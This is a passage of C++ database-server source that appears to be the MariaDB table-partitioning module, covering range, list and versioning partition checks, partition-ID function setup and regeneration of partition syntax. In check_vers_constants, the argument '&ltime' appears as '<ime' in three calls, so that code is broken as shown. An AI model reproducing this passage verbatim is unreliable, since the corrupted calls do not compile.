memcpy(loc_range_col_array, (const void*)col_val, size_entries);
loc_range_col_array+= num_column_values;
if (!first)
{
if (partition_info_compare_column_values(current_largest_col_val,
col_val) >= 0)
goto range_not_increasing_error;
}
current_largest_col_val= col_val;
}
first= FALSE;
} while (++i < part_info->num_parts);
}
else
{
longlong UNINIT_VAR(current_largest);
longlong part_range_value;
bool signed_flag= !part_info->part_expr->unsigned_flag;
part_info->range_int_array= (longlong*)
thd->alloc(part_info->num_parts * sizeof(longlong));
if (unlikely(part_info->range_int_array == NULL))
goto end;
i= 0;
do
{
part_def= it++;
if ((i != part_info->num_parts - 1) || !part_info->defined_max_value)
{
part_range_value= part_def->range_value;
if (!signed_flag)
part_range_value-= 0x8000000000000000ULL;
}
else
part_range_value= LONGLONG_MAX;
if (!first)
{
if (current_largest > part_range_value ||
(current_largest == part_range_value &&
(part_range_value < LONGLONG_MAX ||
i != part_info->num_parts - 1 ||
!part_info->defined_max_value)))
goto range_not_increasing_error;
}
part_info->range_int_array[i]= part_range_value;
current_largest= part_range_value;
first= FALSE;
} while (++i < part_info->num_parts);
}
result= FALSE;
end:
DBUG_RETURN(result);
range_not_increasing_error:
my_error(ER_RANGE_NOT_INCREASING_ERROR, MYF(0));
goto end;
}
/*
This routine allocates an array for all list constants to achieve a fast
check what partition a certain value belongs to. At the same time it does
also check that there are no duplicates among the list constants and that
that the list expressions are constant integer expressions.
SYNOPSIS
check_list_constants()
thd Thread object
RETURN VALUE
TRUE An error occurred during creation of list constants
FALSE Successful creation of list constant mapping
DESCRIPTION
This routine is called from check_partition_info to get a quick error
before we came too far into the CREATE TABLE process. It is also called
from fix_partition_func every time we open the .frm file. It is only
called for LIST PARTITIONed tables.
*/
static bool check_list_constants(THD *thd, partition_info *part_info)
{
uint i, size_entries, num_column_values;
uint list_index= 0;
part_elem_value *list_value;
bool result= TRUE;
longlong type_add, calc_value;
void *curr_value;
void *UNINIT_VAR(prev_value);
partition_element* part_def;
bool found_null= FALSE;
qsort_cmp compare_func;
void *ptr;
List_iterator<partition_element> list_func_it(part_info->partitions);
DBUG_ENTER("check_list_constants");
DBUG_ASSERT(part_info->part_type == LIST_PARTITION);
part_info->num_list_values= 0;
/*
We begin by calculating the number of list values that have been
defined in the first step.
We use this number to allocate a properly sized array of structs
to keep the partition id and the value to use in that partition.
In the second traversal we assign them values in the struct array.
Finally we sort the array of structs in order of values to enable
a quick binary search for the proper value to discover the
partition id.
After sorting the array we check that there are no duplicates in the
list.
*/
i= 0;
do
{
part_def= list_func_it++;
if (part_def->has_null_value)
{
if (found_null)
{
my_error(ER_MULTIPLE_DEF_CONST_IN_LIST_PART_ERROR, MYF(0));
goto end;
}
part_info->has_null_value= TRUE;
part_info->has_null_part_id= i;
found_null= TRUE;
}
part_info->num_list_values+= part_def->list_val_list.elements;
} while (++i < part_info->num_parts);
list_func_it.rewind();
num_column_values= part_info->part_field_list.elements;
size_entries= part_info->column_list ?
(num_column_values * sizeof(part_column_list_val)) :
sizeof(LIST_PART_ENTRY);
if (!(ptr= thd->calloc((part_info->num_list_values+1) * size_entries)))
goto end;
if (part_info->column_list)
{
part_column_list_val *loc_list_col_array;
loc_list_col_array= (part_column_list_val*)ptr;
part_info->list_col_array= (part_column_list_val*)ptr;
compare_func= partition_info_compare_column_values;
i= 0;
do
{
part_def= list_func_it++;
if (part_def->max_value)
{
// DEFAULT is not a real value so let's exclude it from sorting.
DBUG_ASSERT(part_info->num_list_values);
part_info->num_list_values--;
continue;
}
List_iterator<part_elem_value> list_val_it2(part_def->list_val_list);
while ((list_value= list_val_it2++))
{
part_column_list_val *col_val= list_value->col_val_array;
if (part_info->fix_column_value_functions(thd, list_value, i))
DBUG_RETURN(result);
memcpy(loc_list_col_array, (const void*)col_val, size_entries);
loc_list_col_array+= num_column_values;
}
} while (++i < part_info->num_parts);
}
else
{
compare_func= partition_info_list_part_cmp;
part_info->list_array= (LIST_PART_ENTRY*)ptr;
i= 0;
/*
Fix to be able to reuse signed sort functions also for unsigned
partition functions.
*/
type_add= (longlong)(part_info->part_expr->unsigned_flag ?
0x8000000000000000ULL :
0ULL);
do
{
part_def= list_func_it++;
if (part_def->max_value)
{
// DEFAULT is not a real value so let's exclude it from sorting.
DBUG_ASSERT(part_info->num_list_values);
part_info->num_list_values--;
continue;
}
List_iterator<part_elem_value> list_val_it2(part_def->list_val_list);
while ((list_value= list_val_it2++))
{
calc_value= list_value->value - type_add;
part_info->list_array[list_index].list_value= calc_value;
part_info->list_array[list_index++].partition_id= i;
}
} while (++i < part_info->num_parts);
}
DBUG_ASSERT(part_info->fixed);
if (part_info->num_list_values)
{
bool first= TRUE;
/*
list_array and list_col_array are unions, so this works for both
variants of LIST partitioning.
*/
my_qsort(part_info->list_array, part_info->num_list_values, size_entries,
compare_func);
i= 0;
do
{
DBUG_ASSERT(i < part_info->num_list_values);
curr_value= part_info->column_list
? (void*)&part_info->list_col_array[num_column_values * i]
: (void*)&part_info->list_array[i];
if (likely(first || compare_func(curr_value, prev_value)))
{
prev_value= curr_value;
first= FALSE;
}
else
{
my_error(ER_MULTIPLE_DEF_CONST_IN_LIST_PART_ERROR, MYF(0));
goto end;
}
} while (++i < part_info->num_list_values);
}
result= FALSE;
end:
DBUG_RETURN(result);
}
/* Set partition boundaries when rotating by INTERVAL */
static bool check_vers_constants(THD *thd, partition_info *part_info)
{
uint hist_parts= part_info->num_parts - 1;
Vers_part_info *vers_info= part_info->vers_info;
vers_info->hist_part= part_info->partitions.head();
vers_info->now_part= part_info->partitions.elem(hist_parts);
if (!vers_info->interval.is_set())
return 0;
part_info->range_int_array=
(longlong*) thd->alloc(hist_parts * sizeof(longlong));
MYSQL_TIME ltime;
List_iterator<partition_element> it(part_info->partitions);
partition_element *el;
my_tz_OFFSET0->gmt_sec_to_TIME(<ime, vers_info->interval.start);
while ((el= it++)->id < hist_parts)
{
if (date_add_interval(<ime, vers_info->interval.type,
vers_info->interval.step))
goto err;
uint error= 0;
part_info->range_int_array[el->id]= el->range_value=
my_tz_OFFSET0->TIME_to_gmt_sec(<ime, &error);
if (error)
goto err;
if (vers_info->hist_part->range_value <= thd->query_start())
vers_info->hist_part= el;
}
return 0;
err:
my_error(ER_DATA_OUT_OF_RANGE, MYF(0), "TIMESTAMP", "INTERVAL");
return 1;
}
/*
Set up function pointers for partition function
SYNOPSIS
set_up_partition_func_pointers()
part_info Reference to partitioning data structure
RETURN VALUE
NONE
DESCRIPTION
Set-up all function pointers for calculation of partition id,
subpartition id and the upper part in subpartitioning. This is to speed up
execution of get_partition_id which is executed once every record to be
written and deleted and twice for updates.
*/
static void set_up_partition_func_pointers(partition_info *part_info)
{
DBUG_ENTER("set_up_partition_func_pointers");
if (part_info->is_sub_partitioned())
{
part_info->get_partition_id= get_partition_id_with_sub;
if (part_info->part_type == RANGE_PARTITION)
{
if (part_info->column_list)
part_info->get_part_partition_id= get_partition_id_range_col;
else
part_info->get_part_partition_id= get_partition_id_range;
if (part_info->list_of_subpart_fields)
{
if (part_info->linear_hash_ind)
part_info->get_subpartition_id= get_partition_id_linear_key_sub;
else
part_info->get_subpartition_id= get_partition_id_key_sub;
}
else
{
if (part_info->linear_hash_ind)
part_info->get_subpartition_id= get_partition_id_linear_hash_sub;
else
part_info->get_subpartition_id= get_partition_id_hash_sub;
}
}
else if (part_info->part_type == VERSIONING_PARTITION)
{
part_info->get_part_partition_id= vers_get_partition_id;
if (part_info->list_of_subpart_fields)
{
if (part_info->linear_hash_ind)
part_info->get_subpartition_id= get_partition_id_linear_key_sub;
else
part_info->get_subpartition_id= get_partition_id_key_sub;
}
else
{
if (part_info->linear_hash_ind)
part_info->get_subpartition_id= get_partition_id_linear_hash_sub;
else
part_info->get_subpartition_id= get_partition_id_hash_sub;
}
}
else /* LIST Partitioning */
{
if (part_info->column_list)
part_info->get_part_partition_id= get_partition_id_list_col;
else
part_info->get_part_partition_id= get_partition_id_list;
if (part_info->list_of_subpart_fields)
{
if (part_info->linear_hash_ind)
part_info->get_subpartition_id= get_partition_id_linear_key_sub;
else
part_info->get_subpartition_id= get_partition_id_key_sub;
}
else
{
if (part_info->linear_hash_ind)
part_info->get_subpartition_id= get_partition_id_linear_hash_sub;
else
part_info->get_subpartition_id= get_partition_id_hash_sub;
}
}
}
else /* No subpartitioning */
{
part_info->get_part_partition_id= NULL;
part_info->get_subpartition_id= NULL;
if (part_info->part_type == RANGE_PARTITION)
{
if (part_info->column_list)
part_info->get_partition_id= get_partition_id_range_col;
else
part_info->get_partition_id= get_partition_id_range;
}
else if (part_info->part_type == LIST_PARTITION)
{
if (part_info->column_list)
part_info->get_partition_id= get_partition_id_list_col;
else
part_info->get_partition_id= get_partition_id_list;
}
else if (part_info->part_type == VERSIONING_PARTITION)
{
part_info->get_partition_id= vers_get_partition_id;
}
else /* HASH partitioning */
{
if (part_info->list_of_part_fields)
{
if (part_info->linear_hash_ind)
part_info->get_partition_id= get_partition_id_linear_key_nosub;
else
part_info->get_partition_id= get_partition_id_key_nosub;
}
else
{
if (part_info->linear_hash_ind)
part_info->get_partition_id= get_partition_id_linear_hash_nosub;
else
part_info->get_partition_id= get_partition_id_hash_nosub;
}
}
}
/*
We need special functions to handle character sets since they require copy
of field pointers and restore afterwards. For subpartitioned tables we do
the copy and restore individually on the part and subpart parts. For non-
subpartitioned tables we use the same functions as used for the parts part
of subpartioning.
Thus for subpartitioned tables the get_partition_id is always
get_partition_id_with_sub, even when character sets exists.
*/
if (part_info->part_charset_field_array)
{
if (part_info->is_sub_partitioned())
{
DBUG_ASSERT(part_info->get_part_partition_id);
if (!part_info->column_list)
{
part_info->get_part_partition_id_charset=
part_info->get_part_partition_id;
part_info->get_part_partition_id= get_part_id_charset_func_part;
}
}
else
{
DBUG_ASSERT(part_info->get_partition_id);
if (!part_info->column_list)
{
part_info->get_part_partition_id_charset= part_info->get_partition_id;
part_info->get_part_partition_id= get_part_id_charset_func_part;
}
}
}
if (part_info->subpart_charset_field_array)
{
DBUG_ASSERT(part_info->get_subpartition_id);
part_info->get_subpartition_id_charset=
part_info->get_subpartition_id;
part_info->get_subpartition_id= get_part_id_charset_func_subpart;
}
if (part_info->part_type == RANGE_PARTITION)
part_info->check_constants= check_range_constants;
else if (part_info->part_type == LIST_PARTITION)
part_info->check_constants= check_list_constants;
else if (part_info->part_type == VERSIONING_PARTITION)
part_info->check_constants= check_vers_constants;
else
part_info->check_constants= check_no_constants;
DBUG_VOID_RETURN;
}
/*
For linear hashing we need a mask which is on the form 2**n - 1 where
2**n >= num_parts. Thus if num_parts is 6 then mask is 2**3 - 1 = 8 - 1 = 7.
SYNOPSIS
set_linear_hash_mask()
part_info Reference to partitioning data structure
num_parts Number of parts in linear hash partitioning
RETURN VALUE
NONE
*/
void set_linear_hash_mask(partition_info *part_info, uint num_parts)
{
uint mask;
for (mask= 1; mask < num_parts; mask<<=1)
;
part_info->linear_hash_mask= mask - 1;
}
/*
This function calculates the partition id provided the result of the hash
function using linear hashing parameters, mask and number of partitions.
SYNOPSIS
get_part_id_from_linear_hash()
hash_value Hash value calculated by HASH function or KEY function
mask Mask calculated previously by set_linear_hash_mask
num_parts Number of partitions in HASH partitioned part
RETURN VALUE
part_id The calculated partition identity (starting at 0)
DESCRIPTION
The partition is calculated according to the theory of linear hashing.
See e.g. Linear hashing: a new tool for file and table addressing,
Reprinted from VLDB-80 in Readings Database Systems, 2nd ed, M. Stonebraker
(ed.), Morgan Kaufmann 1994.
*/
static uint32 get_part_id_from_linear_hash(longlong hash_value, uint mask,
uint num_parts)
{
uint32 part_id= (uint32)(hash_value & mask);
if (part_id >= num_parts)
{
uint new_mask= ((mask + 1) >> 1) - 1;
part_id= (uint32)(hash_value & new_mask);
}
return part_id;
}
/*
Check if a particular field is in need of character set
handling for partition functions.
SYNOPSIS
field_is_partition_charset()
field The field to check
RETURN VALUES
FALSE Not in need of character set handling
TRUE In need of character set handling
*/
bool field_is_partition_charset(Field *field)
{
if (!(field->type() == MYSQL_TYPE_STRING) &&
!(field->type() == MYSQL_TYPE_VARCHAR))
return FALSE;
{
CHARSET_INFO *cs= field->charset();
if (!(field->type() == MYSQL_TYPE_STRING) ||
!(cs->state & MY_CS_BINSORT))
return TRUE;
return FALSE;
}
}
/*
Check that partition function doesn't contain any forbidden
character sets and collations.
SYNOPSIS
check_part_func_fields()
ptr Array of Field pointers
ok_with_charsets Will we report allowed charset
fields as ok
RETURN VALUES
FALSE Success
TRUE Error
DESCRIPTION
We will check in this routine that the fields of the partition functions
do not contain unallowed parts. It can also be used to check if there
are fields that require special care by calling my_strnxfrm before
calling the functions to calculate partition id.
*/
bool check_part_func_fields(Field **ptr, bool ok_with_charsets)
{
Field *field;
DBUG_ENTER("check_part_func_fields");
while ((field= *(ptr++)))
{
/*
For CHAR/VARCHAR fields we need to take special precautions.
Binary collation with CHAR is automatically supported. Other
types need some kind of standardisation function handling
*/
if (field_is_partition_charset(field))
{
CHARSET_INFO *cs= field->charset();
if (!ok_with_charsets ||
cs->mbmaxlen > 1 ||
cs->strxfrm_multiply > 1)
{
DBUG_RETURN(TRUE);
}
}
}
DBUG_RETURN(FALSE);
}
/*
fix partition functions
SYNOPSIS
fix_partition_func()
thd The thread object
table TABLE object for which partition fields are set-up
is_create_table_ind Indicator of whether openfrm was called as part of
CREATE or ALTER TABLE
RETURN VALUE
TRUE Error
FALSE Success
DESCRIPTION
The name parameter contains the full table name and is used to get the
database name of the table which is used to set-up a correct
TABLE_LIST object for use in fix_fields.
NOTES
This function is called as part of opening the table by opening the .frm
file. It is a part of CREATE TABLE to do this so it is quite permissible
that errors due to erroneus syntax isn't found until we come here.
If the user has used a non-existing field in the table is one such example
of an error that is not discovered until here.
*/
bool fix_partition_func(THD *thd, TABLE *table, bool is_create_table_ind)
{
bool result= TRUE;
partition_info *part_info= table->part_info;
enum_column_usage saved_column_usage= thd->column_usage;
DBUG_ENTER("fix_partition_func");
if (part_info->fixed)
{
DBUG_RETURN(FALSE);
}
thd->column_usage= COLUMNS_WRITE;
DBUG_PRINT("info", ("thd->column_usage: %d", thd->column_usage));
if (!is_create_table_ind ||
thd->lex->sql_command != SQLCOM_CREATE_TABLE)
{
if (partition_default_handling(thd, table, part_info,
is_create_table_ind,
table->s->normalized_path.str))
{
DBUG_RETURN(TRUE);
}
}
if (part_info->is_sub_partitioned())
{
DBUG_ASSERT(part_info->subpart_type == HASH_PARTITION);
/*
Subpartition is defined. We need to verify that subpartitioning
function is correct.
*/
if (part_info->linear_hash_ind)
set_linear_hash_mask(part_info, part_info->num_subparts);
if (part_info->list_of_subpart_fields)
{
List_iterator<const char> it(part_info->subpart_field_list);
if (unlikely(handle_list_of_fields(thd, it, table, part_info, TRUE)))
goto end;
}
else
{
if (unlikely(fix_fields_part_func(thd, part_info->subpart_expr,
table, TRUE, is_create_table_ind)))
goto end;
if (unlikely(part_info->subpart_expr->result_type() != INT_RESULT))
{
part_info->report_part_expr_error(TRUE);
goto end;
}
}
}
DBUG_ASSERT(part_info->part_type != NOT_A_PARTITION);
DBUG_ASSERT(part_info->part_type != VERSIONING_PARTITION || part_info->column_list);
/*
Partition is defined. We need to verify that partitioning
function is correct.
*/
set_up_partition_func_pointers(part_info);
if (part_info->part_type == HASH_PARTITION)
{
if (part_info->linear_hash_ind)
set_linear_hash_mask(part_info, part_info->num_parts);
if (part_info->list_of_part_fields)
{
List_iterator<const char> it(part_info->part_field_list);
if (unlikely(handle_list_of_fields(thd, it, table, part_info, FALSE)))
goto end;
}
else
{
if (unlikely(fix_fields_part_func(thd, part_info->part_expr,
table, FALSE, is_create_table_ind)))
goto end;
if (unlikely(part_info->part_expr->result_type() != INT_RESULT))
{
part_info->report_part_expr_error(FALSE);
goto end;
}
}
part_info->fixed= TRUE;
}
else
{
if (part_info->column_list)
{
if (part_info->part_type == VERSIONING_PARTITION &&
part_info->vers_setup_expression(thd))
goto end;
List_iterator<const char> it(part_info->part_field_list);
if (unlikely(handle_list_of_fields(thd, it, table, part_info, FALSE)))
goto end;
}
else
{
if (unlikely(fix_fields_part_func(thd, part_info->part_expr,
table, FALSE, is_create_table_ind)))
goto end;
}
part_info->fixed= TRUE;
if (part_info->check_constants(thd, part_info))
goto end;
if (unlikely(part_info->num_parts < 1))
{
const char *error_str= part_info->part_type == LIST_PARTITION
? "LIST" : "RANGE";
my_error(ER_PARTITIONS_MUST_BE_DEFINED_ERROR, MYF(0), error_str);
goto end;
}
if (unlikely(!part_info->column_list &&
part_info->part_expr->result_type() != INT_RESULT))
{
part_info->report_part_expr_error(FALSE);
goto end;
}
}
if (((part_info->part_type != HASH_PARTITION ||
part_info->list_of_part_fields == FALSE) &&
!part_info->column_list &&
check_part_func_fields(part_info->part_field_array, TRUE)) ||
(part_info->list_of_subpart_fields == FALSE &&
part_info->is_sub_partitioned() &&
check_part_func_fields(part_info->subpart_field_array, TRUE)))
{
/*
Range/List/HASH (but not KEY) and not COLUMNS or HASH subpartitioning
with columns in the partitioning expression using unallowed charset.
*/
my_error(ER_PARTITION_FUNCTION_IS_NOT_ALLOWED, MYF(0));
goto end;
}
if (unlikely(create_full_part_field_array(thd, table, part_info)))
goto end;
if (unlikely(check_primary_key(table)))
goto end;
if (unlikely((!(table->s->db_type()->partition_flags &&
(table->s->db_type()->partition_flags() & HA_CAN_PARTITION_UNIQUE))) &&
check_unique_keys(table)))
goto end;
if (unlikely(set_up_partition_bitmaps(thd, part_info)))
goto end;
if (unlikely(part_info->set_up_charset_field_preps(thd)))
{
my_error(ER_PARTITION_FUNCTION_IS_NOT_ALLOWED, MYF(0));
goto end;
}
if (unlikely(part_info->check_partition_field_length()))
{
my_error(ER_PARTITION_FIELDS_TOO_LONG, MYF(0));
goto end;
}
check_range_capable_PF(table);
set_up_partition_key_maps(table, part_info);
set_up_range_analysis_info(part_info);
table->file->set_part_info(part_info);
result= FALSE;
end:
thd->column_usage= saved_column_usage;
DBUG_PRINT("info", ("thd->column_usage: %d", thd->column_usage));
DBUG_RETURN(result);
}
/*
The code below is support routines for the reverse parsing of the
partitioning syntax. This feature is very useful to generate syntax for
all default values to avoid all default checking when opening the frm
file. It is also used when altering the partitioning by use of various
ALTER TABLE commands. Finally it is used for SHOW CREATE TABLES.
*/
static int add_part_field_list(THD *thd, String *str, List<const char> field_list)
{
int err= 0;
const char *field_name;
List_iterator<const char> part_it(field_list);
err+= str->append('(');
while ((field_name= part_it++))
{
err+= append_identifier(thd, str, field_name, strlen(field_name));
err+= str->append(',');
}
if (field_list.elements)
str->length(str->length()-1);
err+= str->append(')');
return err;
}
/*
Must escape strings in partitioned tables frm-files,
parsing it later with mysql_unpack_partition will fail otherwise.
*/
static int add_keyword_string(String *str, const char *keyword,
bool quoted, const char *keystr)
{
int err= str->append(' ');
err+= str->append(keyword);
str->append(STRING_WITH_LEN(" = "));
if (quoted)
{
err+= str->append('\'');
err+= str->append_for_single_quote(keystr);
err+= str->append('\'');
}
else
err+= str->append(keystr);
return err;
}
/**
@brief Truncate the partition file name from a path it it exists.
@note A partition file name will contian one or more '#' characters.
One of the occurances of '#' will be either "#P#" or "#p#" depending
on whether the storage engine has converted the filename to lower case.
*/
void truncate_partition_filename(char *path)
{
if (path)
{
char* last_slash= strrchr(path, FN_LIBCHAR);
if (!last_slash)
last_slash= strrchr(path, FN_LIBCHAR2);
if (last_slash)
{
/* Look for a partition-type filename */
for (char* pound= strchr(last_slash, '#');
pound; pound = strchr(pound + 1, '#'))
{
if ((pound[1] == 'P' || pound[1] == 'p') && pound[2] == '#')
{
last_slash[0] = '\0'; /* truncate the file name */
break;
}
}
}
}
}
/**
@brief Output a filepath. Similar to add_keyword_string except it
also converts \ to / on Windows and skips the partition file name at
the end if found.
@note When Mysql sends a DATA DIRECTORY from SQL for partitions it does
not use a file name, but it does for DATA DIRECTORY on a non-partitioned
table. So when the storage engine is asked for the DATA DIRECTORY string
after a restart through Handler::update_create_options(), the storage
engine may include the filename.
*/
static int add_keyword_path(String *str, const char *keyword,
const char *path)
{
char temp_path[FN_REFLEN];
strcpy(temp_path, path);
#ifdef __WIN__
/* Convert \ to / to be able to create table on unix */
char *pos, *end;
size_t length= strlen(temp_path);
for (pos= temp_path, end= pos+length ; pos < end ; pos++)
{
if (*pos == '\\')
*pos = '/';
}
#endif
/*
If the partition file name with its "#P#" identifier
is found after the last slash, truncate that filename.
*/
truncate_partition_filename(temp_path);
return add_keyword_string(str, keyword, true, temp_path);
}
static int add_keyword_int(String *str, const char *keyword, longlong num)
{
int err= str->append(' ');
err+= str->append(keyword);
str->append(STRING_WITH_LEN(" = "));
return err + str->append_longlong(num);
}
static int add_partition_options(String *str, partition_element *p_elem)
{
int err= 0;
if (p_elem->tablespace_name)
err+= add_keyword_string(str,"TABLESPACE", false, p_elem->tablespace_name);
if (p_elem->nodegroup_id != UNDEF_NODEGROUP)
err+= add_keyword_int(str,"NODEGROUP",(longlong)p_elem->nodegroup_id);
if (p_elem->part_max_rows)
err+= add_keyword_int(str,"MAX_ROWS",(longlong)p_elem->part_max_rows);
if (p_elem->part_min_rows)
err+= add_keyword_int(str,"MIN_ROWS",(longlong)p_elem->part_min_rows);
if (!(current_thd->variables.sql_mode & MODE_NO_DIR_IN_CREATE))
{
if (p_elem->data_file_name)
err+= add_keyword_path(str, "DATA DIRECTORY", p_elem->data_file_name);
if (p_elem->index_file_name)
err+= add_keyword_path(str, "INDEX DIRECTORY", p_elem->index_file_name);
}
if (p_elem->part_comment)
err+= add_keyword_string(str, "COMMENT", true, p_elem->part_comment);
if (p_elem->connect_string.length)
err+= add_keyword_string(str, "CONNECTION", true,
p_elem->connect_string.str);
err += add_keyword_string(str, "ENGINE", false,
ha_resolve_storage_engine_name(p_elem->engine_type));
return err;
}
/*
Check partition fields for result type and if they need
to check the character set.
SYNOPSIS
check_part_field()
sql_type Type provided by user
field_name Name of field, used for error handling
result_type Out value: Result type of field
need_cs_check Out value: Do we need character set check
RETURN VALUES
TRUE Error
FALSE Ok
*/
static int check_part_field(enum_field_types sql_type,
const char *field_name,
Item_result *result_type,
bool *need_cs_check)
{
if (sql_type >= MYSQL_TYPE_TINY_BLOB &&
sql_type <= MYSQL_TYPE_BLOB)
{
my_error(ER_BLOB_FIELD_IN_PART_FUNC_ERROR, MYF(0));
return TRUE;
}
switch (sql_type)
{
case MYSQL_TYPE_TINY:
case MYSQL_TYPE_SHORT:
case MYSQL_TYPE_LONG:
case MYSQL_TYPE_LONGLONG:
case MYSQL_TYPE_INT24:
*result_type= INT_RESULT;
*need_cs_check= FALSE;
return FALSE;
case MYSQL_TYPE_NEWDATE:
case MYSQL_TYPE_DATE:
case MYSQL_TYPE_TIME:
case MYSQL_TYPE_DATETIME:
case MYSQL_TYPE_TIME2:
case MYSQL_TYPE_DATETIME2:
*result_type= STRING_RESULT;
*need_cs_check= TRUE;
return FALSE;
case MYSQL_TYPE_VARCHAR:
case MYSQL_TYPE_STRING:
case MYSQL_TYPE_VAR_STRING:
*result_type= STRING_RESULT;
*need_cs_check= TRUE;
return FALSE;
case MYSQL_TYPE_NEWDECIMAL:
case MYSQL_TYPE_DECIMAL:
case MYSQL_TYPE_TIMESTAMP:
case MYSQL_TYPE_TIMESTAMP2:
case MYSQL_TYPE_NULL:
case MYSQL_TYPE_FLOAT:
case MYSQL_TYPE_DOUBLE:
case MYSQL_TYPE_BIT:
case MYSQL_TYPE_ENUM:
case MYSQL_TYPE_SET:
case MYSQL_TYPE_GEOMETRY:
goto error;
default:
goto error;
}
error:
my_error(ER_FIELD_TYPE_NOT_ALLOWED_AS_PARTITION_FIELD, MYF(0),
field_name);
return TRUE;
}
/*
Find the given field's Create_field object using name of field
SYNOPSIS
get_sql_field()
field_name Field name
alter_info Info from ALTER TABLE/CREATE TABLE
RETURN VALUE
sql_field Object filled in by parser about field
NULL No field found
*/
static Create_field* get_sql_field(const char *field_name,
Alter_info *alter_info)
{
List_iterator<Create_field> it(alter_info->create_list);
Create_field *sql_field;
DBUG_ENTER("get_sql_field");
while ((sql_field= it++))
{
if (!(my_strcasecmp(system_charset_info,
sql_field->field_name.str,
field_name)))
{
DBUG_RETURN(sql_field);
}
}
DBUG_RETURN(NULL);
}
static int add_column_list_values(String *str, partition_info *part_info,
part_elem_value *list_value,
HA_CREATE_INFO *create_info,
Alter_info *alter_info)
{
int err= 0;
uint i;
List_iterator<const char> it(part_info->part_field_list);
uint num_elements= part_info->part_field_list.elements;
bool use_parenthesis= (part_info->part_type == LIST_PARTITION &&
part_info->num_columns > 1U);
if (use_parenthesis)
err+= str->append('(');
for (i= 0; i < num_elements; i++)
{
part_column_list_val *col_val= &list_value->col_val_array[i];
const char *field_name= it++;
if (col_val->max_value)
err+= str->append(STRING_WITH_LEN("MAXVALUE"));
else if (col_val->null_value)
err+= str->append(STRING_WITH_LEN("NULL"));
else
{
Item *item_expr= col_val->item_expression;
if (item_expr->null_value)
err+= str->append(STRING_WITH_LEN("NULL"));
else
{
CHARSET_INFO *field_cs;
bool need_cs_check= FALSE;
Item_result result_type= STRING_RESULT;
/*
This function is called at a very early stage, even before
we have prepared the sql_field objects. Thus we have to
find the proper sql_field object and get the character set
from that object.
*/
if (create_info)
{
Create_field *sql_field;
if (!(sql_field= get_sql_field(field_name,
alter_info)))
{
my_error(ER_FIELD_NOT_FOUND_PART_ERROR, MYF(0));
return 1;
}
if (check_part_field(sql_field->real_field_type(),
sql_field->field_name.str,
&result_type,
&need_cs_check))
return 1;
if (need_cs_check)
field_cs= get_sql_field_charset(sql_field, create_info);
else
field_cs= NULL;
}
else
{
Field *field= part_info->part_field_array[i];
result_type= field->result_type();
if (check_part_field(field->real_type(),
field->field_name.str,
&result_type,
&need_cs_check))
return 1;
DBUG_ASSERT(result_type == field->result_type());
if (need_cs_check)
field_cs= field->charset();
else
field_cs= NULL;
}
if (result_type != item_expr->result_type())
{
my_error(ER_WRONG_TYPE_COLUMN_VALUE_ERROR, MYF(0));
return 1;
}
if (field_cs && field_cs != item_expr->collation.collation)
{
if (!(item_expr= convert_charset_partition_constant(item_expr,
field_cs)))
{
my_error(ER_PARTITION_FUNCTION_IS_NOT_ALLOWED, MYF(0));
return 1;
}
}
{
StringBuffer<MAX_KEY_LENGTH> buf;
String val_conv, *res;
val_conv.set_charset(system_charset_info);
res= item_expr->val_str(&buf);
if (get_cs_converted_part_value_from_string(current_thd,
item_expr, res,
&val_conv, field_cs,
(bool)(alter_info != NULL)))
return 1;
err+= str->append(val_conv);
}
}
}
if (i != (num_elements - 1))
err+= str->append(',');
}
if (use_parenthesis)
err+= str->append(')');
return err;
}
static int add_partition_values(String *str, partition_info *part_info,
partition_element *p_elem,
HA_CREATE_INFO *create_info,
Alter_info *alter_info)
{
int err= 0;
if (part_info->part_type == RANGE_PARTITION)
{
err+= str->append(STRING_WITH_LEN(" VALUES LESS THAN "));
if (part_info->column_list)
{
List_iterator<part_elem_value> list_val_it(p_elem->list_val_list);
part_elem_value *list_value= list_val_it++;
err+= str->append('(');
err+= add_column_list_values(str, part_info, list_value,
create_info, alter_info);
err+= str->append(')');
}
else
{
if (!p_elem->max_value)
{
err+= str->append('(');
if (p_elem->signed_flag)
err+= str->append_longlong(p_elem->range_value);
else
err+= str->append_ulonglong(p_elem->range_value);
err+= str->append(')');
}
else
err+= str->append(STRING_WITH_LEN("MAXVALUE"));
}
}
else if (part_info->part_type == LIST_PARTITION)
{
uint i;
List_iterator<part_elem_value> list_val_it(p_elem->list_val_list);
if (p_elem->max_value)
{
DBUG_ASSERT(part_info->defined_max_value ||
current_thd->lex->sql_command == SQLCOM_ALTER_TABLE);
err+= str->append(STRING_WITH_LEN(" DEFAULT"));
return err;
}
err+= str->append(STRING_WITH_LEN(" VALUES IN "));
uint num_items= p_elem->list_val_list.elements;
err+= str->append('(');
if (p_elem->has_null_value)
{
err+= str->append(STRING_WITH_LEN("NULL"));
if (num_items == 0)
{
err+= str->append(')');
goto end;
}
err+= str->append(',');
}
i= 0;
do
{
part_elem_value *list_value= list_val_it++;
if (part_info->column_list)
err+= add_column_list_values(str, part_info, list_value,
create_info, alter_info);
else
{
if (!list_value->unsigned_flag)
err+= str->append_longlong(list_value->value);
else
err+= str->append_ulonglong(list_value->value);
}
if (i != (num_items-1))
err+= str->append(',');
} while (++i < num_items);
err+= str->append(')');
}
else if (part_info->part_type == VERSIONING_PARTITION)
{
switch (p_elem->type())
{
case partition_element::CURRENT:
err+= str->append(STRING_WITH_LEN(" CURRENT"));
break;
case partition_element::HISTORY:
err+= str->append(STRING_WITH_LEN(" HISTORY"));
break;
default:
DBUG_ASSERT(0 && "wrong p_elem->type");
}
}
end:
return err;
}
/**
Add 'KEY' word, with optional 'ALGORTIHM = N'.
@param str String to write to.
@param part_info partition_info holding the used key_algorithm
@return Operation status.
@retval 0 Success
@retval != 0 Failure
*/
static int add_key_with_algorithm(String *str, partition_info *part_info)
{
int err= 0;
err+= str->append(STRING_WITH_LEN("KEY "));
if (part_info->key_algorithm == partition_info::KEY_ALGORITHM_51)
{
err+= str->append(STRING_WITH_LEN("ALGORITHM = "));
err+= str->append_longlong(part_info->key_algorithm);
err+= str->append(' ');
}
return err;
}
/*
Generate the partition syntax from the partition data structure.
Useful for support of generating defaults, SHOW CREATE TABLES
and easy partition management.
SYNOPSIS
generate_partition_syntax()
part_info The partitioning data structure
buf_length A pointer to the returned buffer length
show_partition_options Should we display partition options
create_info Info generated by parser
alter_info Info generated by parser
RETURN VALUES
NULL error
buf, buf_length Buffer and its length
DESCRIPTION
Here we will generate the full syntax for the given command where all
defaults have been expanded. By so doing the it is also possible to
make lots of checks of correctness while at it.
This could will also be reused for SHOW CREATE TABLES and also for all
type ALTER TABLE commands focusing on changing the PARTITION structure
in any fashion.
